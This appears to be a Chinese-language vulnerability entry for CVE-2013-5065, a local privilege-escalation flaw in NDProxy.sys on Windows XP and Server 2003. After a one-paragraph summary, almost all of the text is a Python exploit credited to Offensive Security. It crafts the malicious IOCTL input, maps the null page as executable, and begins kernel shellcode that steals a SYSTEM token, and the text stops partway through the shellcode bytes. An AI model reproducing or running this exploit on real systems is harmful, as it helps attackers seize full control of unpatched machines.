CVE-2013-5065

总结

Microsoft Windows XP SP2 和 SP3 以及 Server 2003 SP2 内核中的 NDProxy.sys 允许本地用户通过特制应用程序提升权限，该漏洞已于 2013 年 11 月在野外被利用。

• RobbinHood漏洞利用

  # NDPROXY 本地 SYSTEM 权限提升 # http://www.offensive-security.com # 已在 Windows XP SP3 上测试 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # 原始崩溃 ... 空指针解引用 # 访问冲突 - 代码 c0000005 (!!! 第二次机会 !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] 格式化 GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] 未知错误") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] 漏洞已在野外被发现" print "[*] 由 Offensive Security 编写" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] 分配零页内存时出错: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8